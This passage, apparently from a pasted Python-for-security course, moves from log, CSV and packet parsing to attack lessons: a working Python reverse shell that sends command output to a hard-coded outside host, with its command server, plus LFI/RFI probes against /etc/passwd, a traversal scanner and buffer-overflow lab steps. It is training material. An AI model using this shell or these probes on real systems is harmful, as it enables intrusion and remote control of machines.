  880. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
  881.  
  882.  
  883.  
  884. ---------------------------Type This-----------------------------------
  885.  
  886. nano logread1.py
  887.  
  888.  
  889. ---------------------------Paste This-----------------------------------
  890. ## Open the file with read only permit
  891. f = open('access_log', "r")
  892.  
  893. ## use readlines to read all lines in the file
  894. ## The variable "lines" is a list containing all lines
  895. lines = f.readlines()
  896.  
  897. print lines
  898.  
  899.  
  900. ## close the file after reading the lines.
  901. f.close()
  902.  
  903. ----------------------------------------------------------------------
  904.  
  905.  
  906.  
  907.  
  908. ---------------------------Type This-----------------------------------
  909. python logread1.py
  910. ----------------------------------------------------------------------
  911.  
  912.  
  913.  
  914. Google the following:
  915. - python difference between readlines and readline
  916. - python readlines and readline
  917.  
  918.  
  919.  
  920.  
  921.  
  922.  
  923.  
  924.  
  925. ########################################
  926. # Python Lesson 10: A quick challenge #
  927. ########################################
  928.  
  929. Can you write an if/then statement that looks for this IP and print the log file line that contains the IP address?
  930.  
  931.  
  932. 141.101.81.187
  933.  
  934.  
  935.  
  936.  
  937.  
  938.  
  939. ---------------------------------------------------------
  940. Hint 1: Use Python to look for a value in a list
  941.  
  942. Reference:
  943. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
  944.  
  945.  
  946.  
  947.  
  948. ---------------------------------------------------------
  949. Hint 2: Use Python to prompt for user input
  950.  
  951. Reference:
  952. http://www.cyberciti.biz/faq/python-raw_input-examples/
  953.  
  954.  
  955.  
  956.  
  957. ---------------------------------------------------------
  958. Hint 3: Use Python to search for a string in a list
  959.  
  960. Reference:
  961. http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
  962.  
  963.  
  964.  
  965.  
  966.  
  967. Here is my solution:
  968.  
  969. ---------------------------Type This-----------------------------------
  970.  
  971. $ python
  972. >>> f = open('access_log', "r")
  973. >>> lines = f.readlines()
  974. >>> ip = '141.101.81.187'
  975. >>> for string in lines:
  976. ... if ip in string:
  977. ... print(string)
  978.  
  979. ----------------------------------------------------------------------
  980.  
  981.  
  982. Here is one student's solution - can you please explain each line of this code to me?
  983.  
  984.  
  985. ---------------------------Type This-----------------------------------
  986. exit()
  987. nano ip_search.py
  988.  
  989. ---------------------------Paste This-----------------------------------
  990. #!/usr/bin/python
  991.  
  992. f = open('access_log')
  993.  
  994. strUsrinput = raw_input("Enter IP Address: ")
  995.  
  996. for line in iter(f):
  997. ip = line.split(" - ")[0]
  998. if ip == strUsrinput:
  999. print line
  1000.  
  1001. f.close()
  1002.  
  1003. ----------------------------------------------------------------------
  1004.  
  1005.  
  1006.  
  1007.  
  1008. ---------------------------Type This-----------------------------------
  1009. python ip_search.py
  1010. ----------------------------------------------------------------------
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019. Working with another student after class we came up with another solution:
  1020.  
  1021. ---------------------------Type This-----------------------------------
  1022. nano ip_search2.py
  1023.  
  1024. ---------------------------Paste This-----------------------------------
  1025. #!/usr/bin/env python
  1026.  
  1027.  
  1028. # This line opens the log file
  1029. f=open('access_log',"r")
  1030.  
  1031. # This line takes each line in the log file and stores it as an element in the list
  1032. lines = f.readlines()
  1033.  
  1034.  
  1035. # This lines stores the IP that the user types as a var called userinput
  1036. userinput = raw_input("Enter the IP you want to search for: ")
  1037.  
  1038.  
  1039.  
  1040. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  1041. for ip in lines:
  1042. if ip.find(userinput) != -1:
  1043. print ip
  1044.  
  1045. ----------------------------------------------------------------------
  1046.  
  1047.  
  1048.  
  1049. ---------------------------Type This-----------------------------------
  1050. python ip_search2.py
  1051. ----------------------------------------------------------------------
  1052.  
  1053.  
  1054.  
  1055. ################################
  1056. # Lesson 14: Parsing CSV Files #
  1057. ################################
  1058.  
  1059. Dealing with csv files
  1060.  
  1061. Reference:
  1062. http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
  1063.  
  1064. Type the following commands:
  1065. ---------------------------------------------------------------------------------------------------------
  1066.  
  1067. ---------------------------Type This-----------------------------------
  1068.  
  1069. wget http://45.63.104.73/class_nessus.csv
  1070.  
  1071. ----------------------------------------------------------------------
  1072.  
  1073. Example 1 - Reading CSV files
  1074. -----------------------------
  1075. #To be able to read csv formated files, we will first have to import the
  1076. #csv module.
  1077.  
  1078.  
  1079. ---------------------------Type This-----------------------------------
  1080. $ python
  1081. import csv
  1082. with open('class_nessus.csv', 'rb') as f:
  1083. reader = csv.reader(f)
  1084. for row in reader:
  1085. print row
  1086.  
  1087.  
  1088. ----------------------------------------------------------------------
  1089.  
  1090.  
  1091.  
  1092.  
  1093. Example 2 - Reading CSV files
  1094. -----------------------------
  1095.  
  1096. ---------------------------Type This-----------------------------------
  1097.  
  1098. nano readcsv.py
  1099.  
  1100. ---------------------------Paste This-----------------------------------
  1101. #!/usr/bin/python
  1102. import csv # imports the csv module
  1103. import sys # imports the sys module
  1104.  
  1105. f = open(sys.argv[1], 'rb') # opens the csv file
  1106. try:
  1107. reader = csv.reader(f) # creates the reader object
  1108. for row in reader: # iterates the rows of the file in orders
  1109. print row # prints each row
  1110. finally:
  1111. f.close() # closing
  1112.  
  1113.  
  1114.  
  1115. ----------------------------------------------------------------------
  1116.  
  1117.  
  1118.  
  1119. Ok, now let's run this thing.
  1120.  
  1121. --------------------------Type This-----------------------------------
  1122. python readcsv.py
  1123.  
  1124. python readcsv.py class_nessus.csv
  1125. ----------------------------------------------------------------------
  1126.  
  1127.  
  1128.  
  1129.  
  1130.  
  1131. Example 3 - - Reading CSV files
  1132. -------------------------------
  1133.  
  1134. ---------------------------Type This-----------------------------------
  1135.  
  1136. vi readcsv2.py
  1137.  
  1138. ---------------------------Paste This-----------------------------------
  1139. #!/usr/bin/python
  1140. # This program will then read it and displays its contents.
  1141.  
  1142.  
  1143. import csv
  1144.  
  1145. ifile = open('class_nessus.csv', "rb")
  1146. reader = csv.reader(ifile)
  1147.  
  1148. rownum = 0
  1149. for row in reader:
  1150. # Save header row.
  1151. if rownum == 0:
  1152. header = row
  1153. else:
  1154. colnum = 0
  1155. for col in row:
  1156. print '%-8s: %s' % (header[colnum], col)
  1157. colnum += 1
  1158.  
  1159. rownum += 1
  1160.  
  1161. ifile.close()
  1162.  
  1163.  
  1164. ----------------------------------------------------------------------
  1165.  
  1166.  
  1167.  
  1168. ---------------------------Type This-----------------------------------
  1169.  
  1170. python readcsv2.py | less
  1171.  
  1172.  
  1173. ----------------------------------------------------------------------
  1174.  
  1175.  
  1176.  
  1177.  
  1178.  
  1179. ---------------------------Type This-----------------------------------
  1180.  
  1181. vi readcsv3.py
  1182.  
  1183. ---------------------------Paste This-----------------------------------
  1184. #!/usr/bin/python
  1185. import csv
  1186. f = open('class_nessus.csv', 'rb')
  1187. try:
  1188. rownum = 0
  1189. reader = csv.reader(f)
  1190. for row in reader:
  1191. #Save header row.
  1192. if rownum == 0:
  1193. header = row
  1194. else:
  1195. colnum = 0
  1196. if row[3].lower() == 'high':
  1197. print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
  1198. rownum += 1
  1199. finally:
  1200. f.close()
  1201.  
  1202. -----------------------------------------------------------------------
  1203.  
  1204.  
  1205. ---------------------------Type This-----------------------------------
  1206.  
  1207. python readcsv3.py | less
  1208. -----------------------------------------------------------------------
  1209.  
  1210.  
  1211.  
  1212.  
  1213. #################################################
  1214. # Lesson 16: Parsing Packets with Python's DPKT #
  1215. #################################################
  1216. The first thing that you will need to do is install dpkt.
  1217.  
  1218. ---------------------------Type This-----------------------------------
  1219.  
  1220.  
  1221. sudo apt-get install -y python-dpkt
  1222.  
  1223. ----------------------------------------------------------------------
  1224.  
  1225.  
  1226.  
  1227. Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
  1228. Run tcpdump to capture a .pcap file that we will use for the next exercise
  1229.  
  1230. ---------------------------Type This-----------------------------------
  1231.  
  1232. sudo tcpdump -ni ens3 -s0 -w quick.pcap
  1233.  
  1234. ----------------------------------------------------------------------
  1235.  
  1236. --open another command prompt--
  1237.  
  1238. ---------------------------Type This-----------------------------------
  1239.  
  1240.  
  1241. wget http://packetlife.net/media/library/12/tcpdump.pdf
  1242.  
  1243. ----------------------------------------------------------------------
  1244.  
  1245. Let's do something simple:
  1246.  
  1247. ---------------------------Type This-----------------------------------
  1248.  
  1249.  
  1250. nano quickpcap.py
  1251.  
  1252. ---------------------------Paste This-----------------------------------
  1253.  
  1254. #!/usr/bin/python
  1255. import dpkt;
  1256.  
  1257. # Simple script to read the timestamps in a pcap file
  1258. # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
  1259.  
  1260. f = open("quick.pcap","rb")
  1261. pcap = dpkt.pcap.Reader(f)
  1262.  
  1263. for ts, buf in pcap:
  1264. print ts;
  1265.  
  1266. f.close();
  1267.  
  1268.  
  1269. ----------------------------------------------------------------------
  1270.  
  1271.  
  1272. Now let's run the script we just wrote
  1273.  
  1274. ---------------------------Type This-----------------------------------
  1275.  
  1276. python quickpcap.py
  1277.  
  1278. ----------------------------------------------------------------------
  1279.  
  1280.  
  1281.  
  1282. How dpkt breaks down a packet:
  1283.  
  1284. Reference:
  1285. http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
  1286.  
  1287. src: the MAC address of SOURCE.
  1288. dst: The MAC address of DESTINATION
  1289. type: The protocol type of contained ethernet payload.
  1290.  
  1291. The allowed values are listed in the file "ethernet.py",
  1292. such as:
  1293. a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
  1294. b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
  1295.  
  1296.  
  1297. References:
  1298. http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
  1299.  
  1300.  
  1301.  
  1302.  
  1303.  
  1304.  
  1305. Ok - now let's have a look at pcapparsing.py
  1306.  
  1307. ---------------------------Type This-----------------------------------
  1308.  
  1309.  
  1310. sudo tcpdump -ni ens3 -s0 -w capture-100.pcap
  1311.  
  1312. ----------------------------------------------------------------------
  1313.  
  1314. --open another command prompt--
  1315.  
  1316. ---------------------------Type This-----------------------------------
  1317.  
  1318.  
  1319. wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
  1320.  
  1321. ----------------------------------------------------------------------
  1322.  
  1323.  
  1324. Ok - now let's have a look at pcapparsing.py
  1325. ---------------------------Type This-----------------------------------
  1326.  
  1327.  
  1328. nano pcapparsing.py
  1329.  
  1330. ---------------------------Paste This-----------------------------------
  1331.  
  1332.  
  1333.  
  1334. import socket
  1335. import dpkt
  1336. import sys
  1337. f = open('capture-100.pcap','r')
  1338. pcapReader = dpkt.pcap.Reader(f)
  1339.  
  1340. for ts,data in pcapReader:
  1341. ether = dpkt.ethernet.Ethernet(data)
  1342. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  1343. ip = ether.data
  1344. tcp = ip.data
  1345. src = socket.inet_ntoa(ip.src)
  1346. srcport = tcp.sport
  1347. dst = socket.inet_ntoa(ip.dst)
  1348. dstport = tcp.dport
  1349. print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
  1350.  
  1351. f.close()
  1352.  
  1353. ----------------------------------------------------------------------
  1354.  
  1355.  
  1356.  
  1357. OK - let's run it:
  1358.  
  1359. ---------------------------Type This-----------------------------------
  1360.  
  1361. python pcapparsing.py
  1362.  
  1363. ----------------------------------------------------------------------
  1364.  
  1365.  
  1366. running this script might throw an error like this:
  1367.  
  1368. Traceback (most recent call last):
  1369. File "pcapparsing.py", line 9, in <module>
  1370. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  1371.  
  1372.  
  1373. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  1374.  
  1375.  
  1376.  
  1377.  
  1378. Your homework for today...
  1379.  
  1380.  
  1381. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388. Your challenge is to fix the Traceback error
  1389.  
  1390. ---------------------------Paste This-----------------------------------
  1391.  
  1392. #!/usr/bin/python
  1393.  
  1394. import pcapy
  1395. import dpkt
  1396. import sys
  1397. import socket
  1398. import struct
  1399.  
  1400. SINGLE_SHOT = False
  1401.  
  1402. # list all the network devices
  1403. pcapy.findalldevs()
  1404.  
  1405. iface = "ens3"
  1406. filter = "arp"
  1407. max_bytes = 1024
  1408. promiscuous = False
  1409. read_timeout = 100 # in milliseconds
  1410.  
  1411. pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
  1412. pc.setfilter( filter )
  1413.  
  1414. # callback for received packets
  1415. def recv_pkts( hdr, data ):
  1416. packet = dpkt.ethernet.Ethernet( data )
  1417.  
  1418. print type( packet.data )
  1419. print "ipsrc: %s, ipdst: %s" %( \
  1420. socket.inet_ntoa( packet.data.spa ), \
  1421. socket.inet_ntoa( packet.data.tpa ) )
  1422.  
  1423. print "macsrc: %s, macdst: %s " % (
  1424. "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
  1425. "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
  1426.  
  1427. if SINGLE_SHOT:
  1428. header, data = pc.next()
  1429. sys.exit(0)
  1430. else:
  1431. packet_limit = -1 # infinite
  1432. pc.loop( packet_limit, recv_pkts ) # capture packets
  1433.  
  1434. ----------------------------------------------------------------------
  1435.  
  1436.  
  1437. ##################################
  1438. # Day 1 Homework videos to watch #
  1439. ##################################
  1440. Here is your first set of youtube videos that I'd like for you to watch:
  1441. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
  1442.  
  1443. How to install idle in Mac OS X:
  1444. https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
  1445.  
  1446.  
  1447.  
  1448.  
  1449. #!/usr/bin/python
  1450. # tcpclient.py
  1451.  
  1452. import socket
  1453.  
  1454. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1455. hostport = ("149.28.201.171", 1337)
  1456. s.connect(hostport)
  1457. s.send("Hello\n")
  1458. buf = s.recv(1024)
  1459. print "Received", buf
  1460.  
  1461.  
  1462.  
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468.  
  1469. ---------------------------Type This-----------------------------------
  1470.  
  1471.  
  1472. nano tcpserver.py
  1473.  
  1474.  
  1475. ---------------------------Paste This-----------------------------------
  1476.  
  1477.  
  1478. #!/usr/bin/python
  1479. # tcpserver.py
  1480.  
  1481. import socket
  1482.  
  1483. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1484. hostport = ("", 1337) # Be sure to change this port
  1485. s.bind(hostport)
  1486. s.listen(10)
  1487. while 1:
  1488. cli,addr = s.accept()
  1489. print "Connection from", addr
  1490. buf = cli.recv(1024)
  1491. print "Received", buf
  1492. if buf == "Hello\n":
  1493. cli.send("Server received the hello text sent\n")
  1494. cli.close()
  1495. ---------------------------------------------------------------------
  1496.  
  1497. Now let's run the script we just wrote
  1498.  
  1499. ---------------------------Type This-----------------------------------
  1500.  
  1501. python tcpserver.py
  1502.  
  1503. ----------------------------------------------------------------------
  1504.  
  1505.  
  1506.  
  1507.  
  1508. Then double click on your script that is on your windows machine
  1509.  
  1510.  
  1511.  
  1512.  
  1513.  
  1514. ###############################
  1515. # Reverse Shell in Python 2.7 #
  1516. ###############################
  1517.  
  1518. We'll create 2 python files. One for the server and one for the client.
  1519.  
  1520. - Below is the python code that is running on victim/client Windows machine:
  1521.  
  1522.  
  1523.  
  1524. Name this file: reverse_shell.py
  1525.  
  1526. ---------------------------Paste This-----------------------------------
  1527.  
  1528. # Client
  1529.  
  1530. import socket # For Building TCP Connection
  1531. import subprocess # To start the shell in the system
  1532.  
  1533. def connect():
  1534. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1535. s.connect(('149.28.201.171',8080))
  1536.  
  1537. while True: #keep receiving commands
  1538. command = s.recv(1024)
  1539.  
  1540. if 'terminate' in command:
  1541. s.close() #close the socket
  1542. break
  1543.  
  1544. else:
  1545.  
  1546. CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  1547. s.send( CMD.stdout.read() ) # send the result
  1548. s.send( CMD.stderr.read() ) # incase you mistyped a command.
  1549. # we will send back the error
  1550.  
  1551. def main ():
  1552. connect()
  1553. main()
  1554.  
  1555.  
  1556. ----------------------------------------------------------------------
  1557.  
  1558. - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 149.28.201.171 )
  1559.  
  1560.  
  1561.  
  1562.  
  1563. ---------------------------Type This-----------------------------------
  1564.  
  1565.  
  1566. nano yourname_c2_server.py
  1567.  
  1568. ---------------------------Paste This-----------------------------------
  1569.  
  1570. # Server
  1571.  
  1572. import socket # For Building TCP Connection
  1573.  
  1574.  
  1575. def connect ():
  1576.  
  1577. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1578. s.bind(("149.28.201.171", 8080)) # Be sure to change the port
  1579. s.listen(1)
  1580. conn, addr = s.accept()
  1581. print '[+] We got a connection from: ', addr
  1582.  
  1583.  
  1584. while True:
  1585. command = raw_input("Shell> ")
  1586.  
  1587. if 'terminate' in command:
  1588. conn.send('termminate')
  1589. conn.close() # close the connection with host
  1590. break
  1591.  
  1592. else:
  1593. conn.send(command) #send command
  1594. print conn.recv(1024)
  1595.  
  1596. def main ():
  1597. connect()
  1598. main()
  1599.  
  1600. ----------------------------------------------------------------------
  1601.  
  1602. - First run server.py code from Ubuntu machine. From command line type:
  1603.  
  1604. ---------------------------Type This-----------------------------------
  1605.  
  1606. python yourname_c2_server.py
  1607.  
  1608. ----------------------------------------------------------------------
  1609.  
  1610.  
  1611. - Then on victim ( Windows ) unit run reverse_shell.py code by double clicking on it.
  1612.  
  1613.  
  1614. - Connection will be established, and you will get a shell on Ubuntu:
  1615.  
  1616. ---------------------------Type This-----------------------------------
  1617.  
  1618. infosecaddicts@ubuntu:~$ python server.py
  1619. [+] We got a connection from: ('96.83.107.166', 56880)
  1620.  
  1621.  
  1622. Shell> arp -a
  1623.  
  1624. Shell> ipconfig
  1625.  
  1626. Shell> dir
  1627.  
  1628. Shell> start calc
  1629. ----------------------------------------------------------------------
  1630.  
  1631.  
  1632.  
  1633.  
  1634.  
  1635. ########################
  1636. # File Handling Attacks #
  1637. #########################
  1638.  
  1639. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  1640.  
  1641. -------------------------- Type this in Firefox -----------------------------------
  1642.  
  1643. http://45.63.104.73/showfile.php?filename=about.txt
  1644.  
  1645. -----------------------------------------------------------------------------------
  1646.  
  1647.  
  1648.  
  1649.  
  1650. See if you can read files on the file system:
  1651. -------------------------- Type this in Firefox -----------------------------------
  1652.  
  1653. http://45.63.104.73/showfile.php?filename=/etc/passwd
  1654. -----------------------------------------------------------------------------------
  1655.  
  1656.  
  1657.  
  1658.  
  1659. We call this attack a Local File Include or LFI.
  1660.  
  1661. Now let's find some text out on the internet somewhere:
  1662. https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  1663.  
  1664.  
  1665. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  1666.  
  1667. -------------------------- Type this in Firefox -----------------------------------
  1668.  
  1669. http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  1670. -----------------------------------------------------------------------------------
  1671.  
  1672.  
  1673.  
  1674.  
  1675.  
  1676.  
  1677.  
  1678. Ok - Let's make a script to do some of this
  1679.  
  1680. -------------------------- Type this in linux -----------------------------------
  1681. nano yourname_LFI-RFI.py
  1682.  
  1683.  
  1684. ---------------------------Paste This--------------------------------------------
  1685.  
  1686.  
  1687. #!/usr/bin/env python
  1688. print "\n### PHP LFI/RFI Detector ###"
  1689.  
  1690. import urllib2,re,sys
  1691.  
  1692. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  1693. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  1694. TravLimit = 12
  1695.  
  1696. print "==> Testing for LFI vulns.."
  1697. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  1698. for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
  1699. TARGET += "../"
  1700. try:
  1701. source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
  1702. except urllib2.URLError, e:
  1703. print "$$$ We had an Error:",e
  1704. sys.exit(0)
  1705. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  1706. print "!! ==> LFI Found:",TARGET+"etc/passwd"
  1707. break ## BREAK LOOP WHEN VULN FOUND
  1708.  
  1709. print "\n==> Testing for RFI vulns.."
  1710. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  1711. try:
  1712. source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
  1713. except urllib2.URLError, e:
  1714. print "$$$ We had an Error:",e
  1715. sys.exit(0)
  1716. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  1717. print "!! => RFI Found:",TARGET
  1718.  
  1719. print "\nScan Complete\n" ## DONE
  1720.  
  1721.  
  1722.  
  1723. -----------------------------------------------------------------------
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731. Ok, now let's run it
  1732. ---------------------------Type This-----------------------------------
  1733.  
  1734.  
  1735. python yourname_LFI-RFI.py
  1736.  
  1737.  
  1738.  
  1739. #####################################
  1740. # Quick Stack Based Buffer Overflow #
  1741. #####################################
  1742.  
  1743. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  1744. http://45.63.104.73/ExploitLab.zip
  1745.  
  1746.  
  1747. - Extract the ExploitLab.zip file to your Desktop
  1748.  
  1749. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  1750.  
  1751. - Open a new command prompt and type:
  1752.  
  1753. ---------------------------Type This-----------------------------------
  1754.  
  1755. nc localhost 9999
  1756. --------------------------------------------------------------------------
  1757.  
  1758. - In the new command prompt window where you ran nc type:
  1759. HELP
  1760.  
  1761. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  1762. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  1763.  
  1764. - Now double-click on 1-simplefuzzer.py
  1765. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  1766.  
  1767.  
  1768. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  1769.  
  1770. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  1771.  
  1772. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  1773.  
  1774. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  1775.  
  1776. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  1777.  
  1778. - Calculate the distance to EIP by running script 3-3000chars.py
  1779. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  1780.  
  1781. 4-count-chars-to-EIP.py
  1782. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  1783. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  1784.  
  1785. 5-2006char-eip-check.py
  1786. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  1787.  
  1788. 6-jmp-esp.py
  1789. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  1790.  
  1791. 7-first-exploit
  1792. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  1793.  
  1794. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  1795.  
  1796.  
  1797. ------------------------------
  1798.  
  1799.  
  1800.  
  1801. #########################################
  1802. # FreeFloat FTP Server Exploit Analysis #
  1803. #########################################
  1804.  
  1805.  
  1806.  
  1807. Analyze the following exploit code:
  1808. https://www.exploit-db.com/exploits/15689/
  1809.  
  1810. 1. What is the target platform that this exploit works against?
  1811. 2. What is the variable name for the distance to EIP?
  1812. 3. What is the actual distance to EIP in bytes?
  1813. 4. Describe what is happening in the variable ‘junk2’
  1814.  
  1815.  
  1816.  
  1817.  
  1818. Analysis of the training walk-through based on EID: 15689:
  1819. http://45.63.104.73/ff.zip
  1820.  
  1821.  
  1822.  
  1823.  
  1824. ff1.py
  1825. 1. What does the sys module do? Call System Commands
  1826. 2. What is sys.argv[1] and sys.argv[2]?
  1827. 3. What application entry point is being attacked in this script?
  1828.  
  1829.  
  1830.  
  1831. ff2.py
  1832. 1. Explain what is happening in lines 18 - 20 doing.
  1833. 2. What pattern_create.rb doing and where can I find it?
  1834. 3. Why can’t I just double click the file to run this script?
  1835.  
  1836.  
  1837.  
  1838. ff3.py
  1839. 1. Explain what is happening in lines 17 - to 25?
  1840. 2. Explain what is happening in lines 30 - to 32?
  1841. 3. Why is everything below line 35 commented out?
  1842.  
  1843.  
  1844.  
  1845. ff4.py
  1846. 1. Explain what is happening in lines 13 - to 15.
  1847. 2. Explain what is happening in line 19.
  1848. 3. What is the total length of buff?
  1849.  
  1850.  
  1851.  
  1852. Ff5.py
  1853. 1. Explain what is happening in line 15.
  1854. 2. What is struct.pack?
  1855. 3. How big is the shellcode in this script?
  1856.  
  1857.  
  1858.  
  1859. ff6.py
  1860. 1. What is the distance to EIP?
  1861. 2. How big is the shellcode in this script?
  1862. 3. What is the total byte length of the data being sent to this app?
  1863.  
  1864.  
  1865.  
  1866.  
  1867. ff7.py
  1868. 1. What is a tuple in python?
  1869. 2. How big is the shellcode in this script?
  1870. 3. Did your app crash in from this script?
  1871.  
  1872.  
  1873.  
  1874.  
  1875. ff8.py
  1876. 1. How big is the shellcode in this script?
  1877. 2. What is try/except in python?
  1878. 3. What is socket.SOCK_STREAM in Python?
  1879.  
  1880.  
  1881.  
  1882. ff9.py
  1883. 1. What is going on in lines 19 and 20?
  1884. 2. What is the length of the NOPs?
  1885. 3. What is socket.SOCK_STREAM in Python?
  1886.  
  1887.  
  1888.  
  1889.  
  1890. ff010.py
  1891. 1. What is going on in lines 18 - 20?
  1892. 2. What is going on in lines 29 - 32?
  1893. 3. How would a stack adjustment help this script?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement